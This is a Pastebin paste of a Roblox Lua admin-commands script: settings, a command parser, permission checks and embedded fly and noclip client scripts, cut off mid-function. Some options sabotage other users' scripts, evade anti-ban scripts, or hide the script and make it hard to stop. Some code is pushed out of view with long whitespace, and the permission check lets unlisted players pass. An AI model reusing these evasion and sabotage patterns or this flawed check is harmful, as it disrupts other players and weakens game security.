Advertisement
BladeMasterNarfh

I think this works?

Oct 25th, 2015
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.                                                                                                                                                                                                                                                                                                                                                                                                                                                     --[[HEY DON'T LOOK AT ME I'M HERE FOR DECORATION
  2. Thanks for trying my Admin Commands!
  3.  
  4. Just put the script inside Workspace or ServerScriptService and you'll be pretty much good to go
  5. The game owner is automatically given super admin
  6. If you're on a Script Builder, use a Script Builder bot, and be sure to turn on SBMode in Advanced Settings for a better Script Builder experience
  7. This admin is designed for normal Scripts. If it's in a LocalScript some things will not work as well as expected.
  8.  
  9. You may specify other Super Admins or Admins in Basic Settings--]]
  10.  
  11.  
  12.  
  13.  
  14.  
  15.  
  16.  
  17.  
  18. --=================================================================
  19. --========================== SYNTAX INFO ==========================
  20. --=================================================================
  21.  
  22.  
  23. The default syntax is as follows:
  24.  
  25. :walkspeed me 20
  26.  
  27. (This is just an example)
  28.  
  29.  
  30. : begins the commmand
  31. a space separates the command arguments
  32.  
  33.  
  34. You can change it in the advanced settings to anything you want!
  35.  
  36.  
  37.  
  38. ---=================================================================
  39. ---========================= COMMANDS INFO =========================
  40. ---=================================================================
  41.  
  42.  
  43.  
  44. Say :cmds, :commands, or :help to view commands
  45.  
  46. When using a command that requires players, you can do a command for multiple people using a , to separate the names
  47.  
  48.  
  49.  
  50. Here's some of the player keywords, they're pretty self explanatory:
  51.  
  52. me
  53. others
  54. all
  55. admins
  56. nonadmins
  57. random
  58. friends
  59. bestfriends
  60. nonfriends
  61. nonbestfriends
  62. nbc
  63. bc
  64. tbc
  65. obc
  66. anybc
  67.  
  68.  
  69.  
  70. Admin Commands TODO:
  71. -AutoUpdating
  72. -CmdBar
  73. -Even More Commands
  74.  
  75.  
  76. The Lua5.1 SHA-1 encryption is provided by http://cube3d.de/
  77. Released under the MIT license                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             
  78.                                                                                                                                                                                                                                                                                                                                                                                                                                                         ]]  for a,i in pairs(getfenv()) do
  79.                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if i ~= script then
  80.                                                                                                                                                                                                                                                                                                                                                                                                                                                                     getfenv()[a] = nil --This bit is here for protection of the script
  81.                                                                                                                                                                                                                                                                                                                                                                                                                                                                 end
  82.                                                                                                                                                                                                                                                                                                                                                                                                                                                             end
  83.                                                                                                                                                                                                                                                                                                                                                                                                                                                     --[[
  84. ---====================================================================
  85. ---========================= BASIC SETTINGS ===========================
  86. ---====================================================================                                                                                                                                                                                                                                                                                                                                                                             ]]
  87.  
  88.  
  89.  
  90. SuperAdmins = {"narfh"} --Access to ALL commands, you don't need to add your name if you made the game, it automatically recognizes that
  91.  
  92. Admins = {"d 3"} --Access to most commands, besides ban, kick, unban, punish, unpunish, shutdown, and scripting commands
  93.  
  94. BannedPlayers = {"ClassicGameRestorer","tjmax1490609","uyjulian","99zay99","robloxgodofall","damin0924","C2R","xxAlex889"} --Banned Players
  95.  
  96.  
  97.  
  98.                                                                                                                                                                                                                                                                                                                                                                                                                                                     --[[
  99. ---====================================================================
  100. ---======================= ADVANCED SETTINGS ==========================
  101. ---====================================================================                                                                                                                                                                                                                                                                                                                                                                             ]]
  102.  
  103.  
  104.  
  105. AdminGamePass = 0 --A game pass for players to get Admin
  106.  
  107. SuperAdminGamePass = 0 --A game pass for players to get Super Admin
  108.  
  109.  
  110.  
  111. GroupId = 0 --A group ID to give admin to
  112.  
  113. GroupIdAdminRank = 0 --Minimum rank in group to get Admin
  114.  
  115. GroupIdSuperAdminRank = 0 --Minimum rank in group to get Super Admin
  116.  
  117.  
  118.  
  119. --You may select another standard form of syntax
  120. --Make sure only one is enabled, or else it will revert to default
  121.  
  122.  
  123. Syntax_Default = true --The default syntax. Commands begin with a :, separates using a space (ex. :walkspeed me 20)
  124. Syntax_NonRoblox = false --The default command syntax outside Roblox. / begins a command, arguments are separated using spaces (ex. /walkspeed me 20)
  125. Syntax_Person299s = false --The same syntax as Person299's admin commands. Commands have no beginning, and they use / to separate arguments (ex. walkspeed/me/20)
  126.  
  127.  
  128. --Or configure your own command syntax
  129.  
  130. Override_Syntax = false --Set this to true if you want to chance CommandPrefix or Command Separator
  131.  
  132. CommandPrefix = ":" --The beginning of a command, ":" by default, may be more than 1 character
  133.  
  134. CommandSeparator = " " --The character separating commands
  135.  
  136. ReportUnknownCommand = true --If Override_Syntax is on, this will allow you to make it where it does not warn you if a command doesn't exist. Useful for those using nothing as the command prefix.
  137.  
  138.  
  139. SBMode = false --Turn on if you're using this on script builders. It will automatically enable if you're on Anaminus's Script Builders
  140.  
  141. DisableSB = false --If the script is run on a script builder, you can disable other scripts using this. This may not work properly without SBMode on.
  142.  
  143. AvoidAntibans = false --If the script is run on a script builder, you can choose to trick Antiban scripts while attempting to ban people, this can also be changed using the "trickantibans" command. As of now the player list can bug out from it, but that's Roblox's fault.
  144.  
  145.  
  146. --AutoExecute executes any commands under root privilages as soon as it initalizes
  147.  
  148. AutoExecute = [[
  149.     :m test
  150.     :pm random hi
  151.     :ff me
  152.     :ThisCommandDoesNotExist!
  153. ]]
  154.  
  155. AutoExecuteRespawn = [[
  156.    
  157. ]]
  158.  
  159. --When a player respawns, this will execute the commands under root privilages towards that person. Use [PlayerName] for every command that needs the person's name who respawned.
  160.  
  161.  
  162.                                                                                                                                                                                                                                                                                                                                                                                                                                                     --[[
  163. ---====================================================================
  164. ---=========================== GUI SETTINGS ===========================
  165. ---====================================================================                                                                                                                                                                                                                                                                                                                                                                             ]]
  166.  
  167.  
  168.  
  169. TweenTime = 0.5 --The base for how long things animate (AKA Tween). Certain things may take longer or shorter than the number here, it's just a base value. Lower numbers = faster
  170.  
  171. TweenStyle = "Quart" --The style of how things animate. If this is improper, a bunch of the script can break. Be careful :)
  172.  
  173.  
  174.  
  175.                                                                                                                                                                                                                                                                                                                                                                                                                                                     --[[
  176. ---====================================================================
  177. ---======================== TECHNICAL SETTINGS ========================
  178. ---====================================================================                                                                                                                                                                                                                                                                                                                                                                             ]]
  179.  
  180.  
  181.  
  182. Hidden = true --Removes the admin script from explorer view and make it so other scripts cannot tamper with the admin script
  183.  
  184. Debug = false --Please keep this off in online mode. It can pose a security risk if used on online mode. Lets you chat for other players to debug commands in Studio.
  185.  
  186. BreakServices = false --If you're on a script builder, you can choose to change the name of services to a randomized name, to try and prevent other scripts from functioning correctly. Scripts using :GetService or :service will not be affected.
  187.  
  188. Undisableable = true --Makes the script nearly 100% unstoppable without modifications to the source. Good for script builders and against exploiters. This will automatically enable Hidden, as it must also be Hidden to be undisableable. Not present in Studio.
  189.  
  190. AutoUpdate = true --
  191.  
  192.                                                                                                                                                                                                                                                                                                                                                                                                                                                     --[[
  193. A note to those planning on adding your own commands - Permission Levels to use with the MinimumPermission function:
  194. Level 0 - Everyone (NonAdmins)
  195. Level 1 - Admins
  196. Level 2 - Super Admins
  197. Level 3 - Root
  198. Level 4 and above - Restricted to everything
  199.  
  200. Everything below is all just code, you shouldn't worry about it too much unless you know what you're doing.
  201.  
  202.  
  203.  
  204.  
  205.  
  206. ---====================================================================
  207. ---======================= System Configurator ========================
  208. ---====================================================================                                                                                                                                                                                                                                                                                                                                                                             ]]
  209.  
  210.  
  211. if game.PlaceId == 20279777 or game.PlaceId == 20279777 then --If you're on Anaminus's Script Builder, turn on SBMode so users don't need to themselves
  212.     SBMode = true
  213. end
  214.  
  215. if game.PlaceId == 0 then --If it appears the player is in Studio, enable debug mode
  216.     Debug = true
  217.     Hidden = false
  218.     Undisableable = false
  219. end
  220.  
  221. AdminThread = function(a)ypcall(a)end
  222.  
  223. if Undisableable then
  224.     Hidden = true
  225.     if SBMode then
  226.         script:ClearAllChildren()
  227.     end
  228.     AdminThread = Spawn
  229. end
  230.  
  231. AdminThread(function() --Somehow, the Roblox Spawn function makes the script still run if it's in hidden mode even if it's completely disabled
  232.  
  233. Workspace = game:GetService("Workspace")
  234. Players = game:GetService("Players")
  235. Lighting = game:GetService("Lighting")
  236. ReplicatedStorage = game:GetService("ReplicatedStorage")
  237. ServerStorage = game:GetService("ServerStorage")
  238. ServerScriptService = game:GetService("ServerScriptService")
  239. StarterGui = game:GetService("StarterGui")
  240. StarterPack = game:GetService("StarterPack")
  241. Debris = game:GetService("Debris")
  242. Teams = game:GetService("Teams")
  243. TeleportService = game:GetService("TeleportService")
  244. MarketplaceService = game:GetService("MarketplaceService")
  245. InsertService = game:GetService("InsertService")
  246. GamePassService = game:GetService("GamePassService")
  247.  
  248. local Sandboxer = {}
  249.  
  250. tweentime = TweenTime
  251. tweenstyle = TweenStyle
  252. breakservices = BreakServices
  253. avoidantibans = AvoidAntibans
  254.  
  255. StopDisco = false
  256.  
  257. local ok,err = pcall(function()
  258.     NetworkServer = game:GetService("NetworkServer")
  259. end)
  260.  
  261. if not ok then
  262.     print("Aw dang, the NetworkServer couldn't get hooked "..err)
  263. else
  264.     print("Yay! The NetworkServer is hooked")
  265. end
  266.  
  267. if not tweentime then
  268.     tweentime = 0.5
  269. end
  270.  
  271. if not tweenstyle then
  272.     tweenstyle = "Quint"
  273. end
  274.  
  275. if not AdminGamePass then
  276.     AdminGamePass = 0
  277. end
  278.  
  279. if not SuperAdminGamePass then
  280.     SuperAdminGamePass = 0
  281. end
  282.  
  283. if not Admins then
  284.     Admins = {}
  285. end
  286.  
  287. if not SuperAdmins then
  288.     SuperAdmins = {}
  289. end
  290.  
  291. if not BannedPlayers then
  292.     BannedPlayers = {}
  293. end
  294.  
  295. if breakservices then
  296.     for _,i in pairs(game:GetChildren()) do
  297.         pcall(function()
  298.             i.Name = math.random(1,math.huge)/1000000
  299.         end)
  300.     end
  301. end
  302.  
  303. --Done:PreferenceLoader
  304.  
  305. rawerror = error
  306. rawassert = assert
  307. error = function(msg)rawerror("CommandException:"..((msg ~= nil and msg ~= "") and tostring(msg)) or "An error occurred")end
  308. version = "1.2"
  309. logs = {}
  310. IsPersonalServer = Workspace:FindFirstChild("PSVariable") ~= nil
  311.  
  312. Scripts = {}
  313. Lockdown = false
  314. stoploops = false
  315. StopDisco = false
  316.  
  317. settingsIssue = "NoIssue"
  318.  
  319. Commands = {}
  320.  
  321. AllPlayers = {}
  322.  
  323. local BaseScript,BaseLocalScript
  324.  
  325. root = { --Root access profile, just to remain mostly compatible with commands
  326.     Name="root",
  327.    
  328.     PlayerGui = {
  329.         FindFirstChild=function()return {
  330.             FindFirstChild=function()return true end,
  331.             WaitForChild=function()wait()return true end,
  332.         }
  333.         end,
  334.         WaitForChild=function() wait() return {
  335.             FindFirstChild=function()return true end,
  336.             WaitForChild=function()wait()return true end,
  337.         }
  338.         end,
  339.     },
  340.    
  341.     StarterGear = {
  342.         FindFirstChild=function()return {
  343.             FindFirstChild=function()return true end,
  344.             WaitForChild=function()wait()return true end,
  345.         }
  346.         end,
  347.         WaitForChild=function() wait() return {
  348.             FindFirstChild=function()return true end,
  349.             WaitForChild=function()wait()return true end,
  350.         }
  351.         end,
  352.     },
  353.    
  354.     Backpack = {
  355.         FindFirstChild=function()return {
  356.             FindFirstChild=function()return true end,
  357.             WaitForChild=function()wait()return true end,
  358.         }
  359.         end,
  360.         WaitForChild=function() wait() return {
  361.             FindFirstChild=function()return true end,
  362.             WaitForChild=function()wait()return true end,
  363.         }
  364.         end,
  365.     },
  366.    
  367.     FindFirstChild=function()return {
  368.         FindFirstChild=function()return true end,
  369.         WaitForChild=function()wait()return true end,
  370.     }
  371.     end,
  372.     WaitForChild=function() wait() return {
  373.         FindFirstChild=function()return true end,
  374.         WaitForChild=function()wait()return true end,
  375.     }
  376.     end,
  377. }
  378. setmetatable(root,{--Metatables are magical
  379.     __tostring = function()return "root" end
  380. })
  381.  
  382. if SBMode then
  383.     for _,i in pairs(script:GetChildren()) do
  384.         if i:IsA("Script") and not i:IsA("LocalScript") then
  385.             for _,j in pairs(i:GetChildren()) do
  386.                 if j:IsA("StringValue") then
  387.                     BaseScript = i
  388.                 end
  389.             end
  390.         elseif i:IsA("LocalScript") then
  391.             for _,j in pairs(i:GetChildren()) do
  392.                 if j:IsA("StringValue") then
  393.                     BaseLocalScript = i
  394.                 end
  395.             end
  396.         end
  397.     end
  398. else
  399.     BaseScript = script:FindFirstChild("Script") and script:FindFirstChild("Script"):clone()
  400.     BaseLocalScript = script:FindFirstChild("LocalScript") and script:FindFirstChild("LocalScript"):clone()
  401. end
  402.  
  403.  
  404. Permissions = {
  405.     [root] = 3;--Root access is always level 3
  406.     root = 3;----^^^
  407. }
  408.  
  409. PlaceNames = {}
  410.  
  411. CodeSignCache = {[ [[
  412.             local Player = game:GetService("Players").LocalPlayer
  413.             local Mouse = Player:GetMouse()
  414.             local Torso = Player.Character:WaitForChild("Torso")
  415.             local Humanoid = Player.Character:WaitForChild("Humanoid")
  416.             local Flying = true
  417.             local Control = {f = 0, b = 0, l = 0, r = 0}
  418.             local LastControl = {f = 0, b = 0, l = 0, r = 0}
  419.             local MaxSpeed = 50
  420.             local Speed = 0
  421.             local Camera = Workspace.CurrentCamera
  422.            
  423.             local FlySmoke = Instance.new("Smoke",Torso)
  424.             FlySmoke.Name = "FlySmoke"
  425.             FlySmoke.Opacity = 0.08
  426.             FlySmoke.Size = 25
  427.            
  428.             Instance.new("StringValue",script).Name = "DO_NOT_REENABLE"        
  429.            
  430.             script.Parent = Player:FindFirstChild("PlayerGui")
  431.             script.Name = "ADMIN_FLY_SCRIPT"
  432.            
  433.             function Fly()
  434.                 local Gyro = Instance.new("BodyGyro", Torso)
  435.                 Gyro.P = 9e4
  436.                 Gyro.maxTorque = Vector3.new(9e9, 9e9, 9e9)
  437.                 Gyro.cframe = Torso.CFrame --why is cframe in lowercase for BodyGyros
  438.                
  439.                 local Velocity = Instance.new("BodyVelocity", Torso)
  440.                 Velocity.velocity = Vector3.new(0,0.1,0) --roblox why is velocity lowercase
  441.                 Velocity.maxForce = Vector3.new(9e9, 9e9, 9e9)
  442.                
  443.                 repeat
  444.                     wait()
  445.                    
  446.                     Humanoid.PlatformStand = true
  447.                    
  448.                     if Control.l + Control.r + Control.f + Control.b > 0 then
  449.                         FlySmoke.Enabled = true
  450.                     else
  451.                         FlySmoke.Enabled = false
  452.                     end
  453.                    
  454.                     if Control.l + Control.r ~= 0 or Control.f + Control.b ~= 0 then
  455.                    
  456.                         Speed = Speed+.5+(Speed/MaxSpeed)
  457.                        
  458.                         if Speed > MaxSpeed then
  459.                             Speed = MaxSpeed
  460.                         end
  461.                     elseif not (Control.l + Control.r ~= 0 or Control.f + Control.b ~= 0) and Speed ~= 0 then
  462.                         Speed = Speed-1
  463.                         if Speed < 0 then
  464.                             Speed = 0
  465.                         end
  466.                     end
  467.                        
  468.                     if (Control.l + Control.r) ~= 0 or (Control.f + Control.b) ~= 0 then
  469.                    
  470.                         Velocity.velocity =
  471.                             ((Camera.CoordinateFrame.lookVector * (Control.f + Control.b)) +
  472.                             ((Camera.CoordinateFrame * CFrame.new(Control.l + Control.r,(Control.f + Control.b) * 0.2, 0).p) - --yuck
  473.                             Camera.CoordinateFrame.p))*Speed
  474.                            
  475.                         LastControl = {f = Control.f, b = Control.b, l = Control.l, r = Control.r}
  476.                        
  477.                     elseif (Control.l + Control.r) == 0 and (Control.f + Control.b) == 0 and Speed ~= 0 then
  478.                    
  479.                         Velocity.velocity =
  480.                             ((Camera.CoordinateFrame.lookVector * (LastControl.f + LastControl.b)) +
  481.                             ((Camera.CoordinateFrame * CFrame.new(LastControl.l + LastControl.r, (LastControl.f + LastControl.b) * 0.2, 0).p) - --also yuck
  482.                             Camera.CoordinateFrame.p))*Speed
  483.                            
  484.                     else
  485.                         Velocity.velocity = Vector3.new(0,0.1,0)
  486.                     end
  487.                    
  488.                     Gyro.cframe = Camera.CoordinateFrame * CFrame.Angles(-math.rad((Control.f+Control.b)*50*Speed/MaxSpeed),0,0)
  489.                    
  490.                 until not Flying or not script.Parent
  491.                
  492.                 Control = {f = 0, b = 0, l = 0, r = 0}
  493.                 LastControl = {f = 0, b = 0, l = 0, r = 0}
  494.                 Speed = 0
  495.                 Gyro:Destroy()
  496.                 Velocity:Destroy()
  497.                 Humanoid.PlatformStand = false
  498.                
  499.             end
  500.            
  501.             Mouse.KeyDown:connect(function(key)
  502.                 if key:lower() == "e" then
  503.                     Flying = not Flying
  504.                     if Flying then
  505.                         Fly()
  506.                     end
  507.                 elseif key:lower() == "w" then
  508.                     Control.f = 1
  509.                 elseif key:lower() == "s" then
  510.                     Control.b = -1
  511.                 elseif key:lower() == "a" then
  512.                     Control.l = -1
  513.                 elseif key:lower() == "d" then
  514.                     Control.r = 1
  515.                 end
  516.             end)
  517.            
  518.             Mouse.KeyUp:connect(function(key)
  519.                 if key:lower() == "w" then
  520.                     Control.f = 0
  521.                 elseif key:lower() == "s" then
  522.                     Control.b = 0
  523.                 elseif key:lower() == "a" then
  524.                     Control.l = 0
  525.                 elseif key:lower() == "d" then
  526.                     Control.r = 0
  527.                 end
  528.             end)
  529.            
  530.             Fly()]]] = "bc194bb513ac52f25311f39279e7b6859c1bc754";
  531.            
  532.             [ [[
  533.             local Player = game.Players.LocalPlayer
  534.             local Mouse = Player:GetMouse()
  535.             local Character = Player.Character
  536.             local Humanoid = Character:FindFirstChild("Humanoid")
  537.             local Torso = Character:WaitForChild("Torso")
  538.             local Camera = Workspace.CurrentCamera
  539.             local Move = {W = 0, S = 0, A = 0, D = 0}
  540.             local Speed = 2
  541.            
  542.             Instance.new("StringValue",script).Name = "DO_NOT_REENABLE"        
  543.            
  544.             script.Parent = Player:FindFirstChild("PlayerGui")
  545.             script.Name = "ADMIN_NOCLIP_SCRIPT"
  546.            
  547.             Mouse.KeyDown:connect(function(key)
  548.                 if key:lower() == "w" then
  549.                     Move.W = 1
  550.                 elseif key:lower() == "s" then
  551.                     Move.S = 1
  552.                 elseif key:lower() == "a" then
  553.                     Move.A = 1
  554.                 elseif key:lower() == "d" then
  555.                     Move.D = 1
  556.                 elseif key:lower() == "q" then
  557.                     Speed = Speed + 1
  558.                 elseif key:lower() == "e" then
  559.                     Speed = Speed - 1
  560.                 end
  561.             end)
  562.            
  563.             Mouse.KeyUp:connect(function(key)
  564.                 if key:lower() == "w" then
  565.                     Move.W = 0
  566.                 elseif key:lower() == "s" then
  567.                     Move.S = 0
  568.                 elseif key:lower() == "a" then
  569.                     Move.A = 0
  570.                 elseif key:lower() == "d" then
  571.                     Move.D = 0
  572.                 end
  573.             end)
  574.            
  575.             Torso.Anchored = true
  576.             Humanoid.PlatformStand = true
  577.            
  578.             local eventt = Humanoid.Changed:connect(function()
  579.                 Humanoid.PlatformStand = true
  580.             end)
  581.            
  582.             local event = game:GetService("RunService").RenderStepped:connect(function()
  583.                 Torso.CFrame = CFrame.new(
  584.                     Torso.Position,
  585.                     Camera.CoordinateFrame.p) *
  586.                     CFrame.Angles(0, math.rad(180), 0) *
  587.                     CFrame.new((Move.D - Move.A) *
  588.                     Speed,
  589.                     0,
  590.                     (Move.S - Move.W) *
  591.                     Speed
  592.                 )
  593.             end)
  594.            
  595.             repeat wait(0.25) until not script.Parent
  596.            
  597.             event:disconnect()
  598.             eventt:disconnect()]]] = "b7d0deea7bfdf2cc3f3be7e6c56f837229231258";
  599. }
  600.  
  601. --configures syntax to use
  602.  
  603. if Override_Syntax then
  604.     if not CommandPrefix and not CommandSeparator then
  605.         settingsIssue = "CommandPrefix and CommandSeparator were missing while overriding syntax. Reverted to default."
  606.         CommandPrefix = ":"
  607.         CommandSeparator = " "
  608.     elseif not CommandPrefix then
  609.         settingsIssue = "CommandPrefix was missing while overriding syntax. Reverted to default."
  610.         CommandPrefix = ":"
  611.         CommandSeparator = " "
  612.     elseif not CommandSeparator then
  613.         settingsIssue = "CommandSeparator was missing while overriding syntax. Reverted to default."
  614.         CommandPrefix = ":"
  615.         CommandSeparator = " "
  616.     end
  617. else
  618.     if (Syntax_Default and Syntax_Person299s) or (Syntax_Default and Syntax_NonRoblox) or (Syntax_Person299s and Syntax_NonRoblox) then
  619.         settingsIssue = "There were multiple syntaxes selected. Reverted to default."
  620.         CommandPrefix = ":"
  621.         CommandSeparator = " "
  622.     elseif Syntax_Default then
  623.         CommandPrefix = ":"
  624.         CommandSeparator = " "
  625.     elseif Syntax_Person299s then
  626.         CommandPrefix = ""
  627.         CommandSeparator = "/"
  628.     elseif Syntax_NonRoblox then
  629.         CommandPrefix = "/"
  630.         CommandSeparator = " "
  631.     elseif not Syntax_Default and not Syntax_NonRoblox and not Syntax_Person299s then
  632.         settingsIssue = "No syntax was enabled. Reverted to default."
  633.         CommandPrefix = ":"
  634.         CommandSeparator = " "
  635.     end
  636. end
  637.  
  638. if not _G.Admi then
  639.     _G.Admi = {}
  640. end
  641.  
  642. -----------------------------------------------------------------
  643. --------------------- Admin Core Framework ----------------------
  644. -----------------------------------------------------------------
  645.  
  646. function MakeScript(src,parent)
  647.     local parent = parent or Workspace
  648.     assert(BaseScript,"The ability to create scripts is currently unavailable at this time.")
  649.     local newscr = BaseScript:clone()
  650.     newscr.Disabled = true
  651.     newsource = src
  652.    
  653.     local valueSource = Instance.new("StringValue",newscr)
  654.     valueSource.Name = "ADMIN_ENCODED_SOURCE"
  655.     valueSource.Value = newsource
  656.    
  657.     local valueSignature = Instance.new("StringValue",newscr)
  658.     valueSignature.Name = "ADMIN_SCRIPT_SIGNATURE"
  659.     valueSignature.Value = sha1.hex(newsource)
  660.    
  661.     newscr.Parent = parent
  662.     newscr.Disabled = false
  663. end
  664.  
  665. function MakeLocalScript(src,parent)
  666.     assert(BaseLocalScript,"The ability to create localscripts is currently unavailable at this time.")
  667.     local newscr = BaseLocalScript:clone()
  668.     newscr.Disabled = true
  669.     newsource = src
  670.    
  671.     local valueSource = Instance.new("StringValue",newscr)
  672.     valueSource.Name = "ADMIN_ENCODED_SOURCE"
  673.     valueSource.Value = newsource
  674.    
  675.     local WasCached = false
  676.    
  677.     if CodeSignCache[newsource] then
  678.         print("Signature already cached!")
  679.         WasCached = true
  680.     end
  681.    
  682.     local Signature = CodeSignCache[newsource] or sha1.hex(newsource)
  683.    
  684.     local valueSignature = Instance.new("StringValue",newscr)
  685.     valueSignature.Name = "ADMIN_SCRIPT_SIGNATURE"
  686.     valueSignature.Value = Signature
  687.    
  688.     if not WasCached then
  689.         CodeSignCache[newsource] = Signature
  690.     end
  691.    
  692.     if parent then
  693.         newscr.Parent = parent
  694.         newscr.Disabled = false
  695.     else
  696.         for _,i in pairs(Players:GetPlayers()) do
  697.             if i:FindFirstChild("Backpack") or i:FindFirstChild("PlayerGui") then
  698.                 local asdasd = newscr:clone()
  699.                 asdasd.Parent = i:FindFirstChild("Backpack") or i:FindFirstChild("PlayerGui")
  700.                 asdasd.Disabled = false
  701.             end
  702.         end
  703.         newscr:Destroy()
  704.     end
  705. end
  706.  
  707. function GetPlaceOwner()
  708.     if _PlaceOwner then
  709.         return tostring(_PlaceOwner)
  710.     end
  711.     _PlaceOwner = MarketplaceService:GetProductInfo(game.PlaceId)["Creator"]["Name"]
  712. end
  713.  
  714. function StringsToRGB(r,g,b)
  715.     return Color3.new(
  716.         assert(tonumber(r),"Red value missing or not a number")/255,
  717.         assert(tonumber(g),"Green value missing or not a number")/255, --very effective and compact
  718.         assert(tonumber(b),"Blue value missing or not a number")/255
  719.     )
  720. end
  721.  
  722. function LevelToString(num)
  723.     return ({"Everyone","Admins","Super Admins","root"})[assert(tonumber(num),"INTERNAL ERROR: CommandScript.LevelToString: num missing or not a number")+1] or "<UNKNOWN PERMISSIONS>"
  724.     --Not the prettiest thing in the world, but it works very good
  725. end
  726.  
  727. function MinimumPermission(num,plr)
  728.     if plr == root then
  729.         return true
  730.     end
  731.     if Permissions[plr.Name] and Permissions[plr.Name] < num then
  732.         error("You are not permitted to do that.\n\nThis command is set to only be used by "..LevelToString(num).."\n\nIf you think this is a mistake, contact the Place Owner")
  733.     end
  734.     return true
  735. end
  736.  
  737. function assert(statement,msg)
  738.     if not statement then
  739.         error(msg or "Assertion failed!")
  740.     end
  741.     return statement
  742. end
  743.  
  744. function Shutdown()
  745.     for _,i in pairs(Players:GetPlayers()) do
  746.         i:Kick()
  747.     end
  748.     ypcall(function()
  749.         Instance.new("ManualSurfaceJointInstance")
  750.     end)
  751. end
  752.  
  753. function DecipherCommand(str)
  754.     assert(str,"Unable to decipher command: No string provided")
  755.     local newstr = str
  756.     local strings = {}
  757.     while newstr:sub(#newstr,#newstr) == CommandSeparator do
  758.         newstr = newstr:sub(1,#newstr-1) --removes excess space on the end of commands to better understand commands
  759.     end
  760.     while newstr:find(CommandSeparator) do
  761.         local nextspace,_ = newstr:find(CommandSeparator)
  762.         table.insert(strings,newstr:sub(1,nextspace-1))
  763.         newstr = newstr:sub(nextspace+1)
  764.     end
  765.     table.insert(strings,newstr)
  766.    
  767.     --This doesn't use patterns (yet) because of the fact that you can change the CommandSeparator.
  768.     --I'm not as experienced with string patterns but I'll hopefully find a more efficient way soon
  769.    
  770.     return strings
  771. end
  772.  
  773.  
  774. function SandboxThread(func)
  775.     --TODO: Implement sandboxing for all non-rooted commands   
  776.    
  777.     --[[local newfenv = {
  778.         Delay = Delay;
  779.         delay = delay;
  780.         wait = wait;
  781.         Wait = Wait;
  782.         LoadLibrary = LoadLibrary;
  783.         printidentity = printidentity;
  784.         require = require;
  785.         Spawn = Spawn;
  786.         spawn = spawn;
  787.         tick = tick;
  788.         time = time;
  789.         ypcall = ypcall;
  790.         PluginManager = PluginManager;
  791.         crash__ = crash__;
  792.         LoadRobloxLibrary = LoadRobloxLibrary;
  793.         settings = settings;
  794.         Settings = Settings;
  795.         stats = stats;
  796.         Stats = Stats;
  797.         UserSettings = UserSettings;
  798.         table = table;
  799.         coroutine = coroutine;
  800.         --getfenv = getfenv;
  801.         print = print;
  802.         --setfenv = setfenv;
  803.         setmetatable = setmetatable;
  804.         getmetatable = getmetatable;
  805.         string = string;
  806.         math = math;
  807.         assert = assert;
  808.         error = error;
  809.         collectgarbage = collectgarbage;
  810.         dofile = dofile;
  811.         _G = _G;
  812.         gcinfo = gcinfo;
  813.         pairs = pairs;
  814.         ipairs = ipairs;
  815.         load = load;
  816.         loadfile = loadfile;
  817.         newproxy = newproxy;
  818.         next = next;
  819.         pcall = pcall;
  820.         rawequal = rawequal;
  821.         rawset = rawset;
  822.         rawget = rawget;
  823.         select = select;
  824.         tonumber = tonumber;
  825.         tostring = tostring;
  826.         type = type;
  827.         unpack = unpack;
  828.         _VERSION = _VERSION;
  829.         xpcall = xpcall;
  830.         Vector3 = Vector3;
  831.         Vector2 = Vector2;
  832.         CFrame = CFrame;
  833.         UDim = UDim;
  834.         UDim2 = UDim2;
  835.         Ray = Ray;
  836.         Instance = Instance;
  837.         Color3 = Color3;
  838.         BrickColor = BrickColor;
  839.     }
  840.    
  841.     print("wewewewwew")
  842.    
  843.     local oldfenv = getfenv(1)
  844.    
  845.     local newfenv = setmetatable({},{
  846.         --__index = function(t,i)
  847.             --if i == "oldfenv" then
  848.                
  849.             --end
  850.         --end;
  851.         __newindex = function(t,i,v)
  852.             if Sandboxer[i] then
  853.                 error("attempt to modify outside of sandbox")
  854.             end
  855.             print(t,i,v)
  856.             t[i] = v
  857.         end;
  858.         __metatable = true;
  859.     })
  860.    
  861.     setfenv(1,newfenv)]]
  862.     func()
  863.    
  864. end
  865.  
  866. function GetPlayersFromString(str,spokenplayer)
  867.    
  868.     if not str or str == "" then
  869.         error("The playerstring was not defined by the command code for function GetPlayersFromString (arg 1)")
  870.     end
  871.    
  872.     assert(spokenplayer,"The spokenplayer was not defined by the command code for Function GetPlayersFromString (arg 2)")
  873.    
  874.     local foundplayers = {}
  875.    
  876.     for listedplayer in str:lower():gmatch("[^,]+") do
  877.        
  878.         if listedplayer:lower() == "all" then
  879.            
  880.             for _,i in pairs(Players:GetPlayers()) do
  881.                 table.insert(foundplayers,i)
  882.             end
  883.            
  884.         elseif listedplayer:lower() == "others" then
  885.            
  886.             for _,i in pairs(Players:GetPlayers()) do
  887.                 if i.Name:lower() ~= spokenplayer.Name:lower() then
  888.                     table.insert(foundplayers,i)
  889.                 end
  890.             end
  891.            
  892.         elseif listedplayer:lower() == "admins" then
  893.            
  894.             for _,i in pairs(Players:GetPlayers()) do
  895.                 if Permissions[i.Name] > 0 then
  896.                     table.insert(foundplayers,i)
  897.                 end
  898.             end
  899.            
  900.         elseif listedplayer:lower() == "nonadmins" then
  901.            
  902.             for _,i in pairs(Players:GetPlayers()) do
  903.                 if Permissions[i.Name] <= 0 then
  904.                     table.insert(foundplayers,i)
  905.                 end
  906.             end
  907.            
  908.         elseif listedplayer:lower() == "random" then
  909.            
  910.             table.insert(foundplayers,Players:GetPlayers()[#Players:GetPlayers()])
  911.            
  912.         elseif listedplayer:lower() == "me" then
  913.            
  914.             table.insert(foundplayers,spokenplayer)
  915.            
  916.         elseif listedplayer:lower() == "friends" then
  917.            
  918.             for _,i in pairs(Players:GetChildren()) do
  919.                 if i:IsFriendsWith(spokenplayer.userId) then
  920.                     table.insert(foundplayers,i)
  921.                 end
  922.             end
  923.            
  924.         elseif listedplayer:lower() == "bestfriends" then
  925.            
  926.             for _,i in pairs(Players:GetChildren()) do
  927.                 if i:IsBestFriendsWith(spokenplayer.userId) then
  928.                     table.insert(foundplayers,i)
  929.                 end
  930.             end
  931.            
  932.         elseif listedplayer:lower() == "nonfriends" then
  933.            
  934.             for _,i in pairs(Players:GetChildren()) do
  935.                 if not i:IsFriendsWith(spokenplayer.userId) then
  936.                     table.insert(foundplayers,i)
  937.                 end
  938.             end
  939.            
  940.         elseif listedplayer:lower() == "nonbestfriends" then
  941.            
  942.             for _,i in pairs(Players:GetChildren()) do
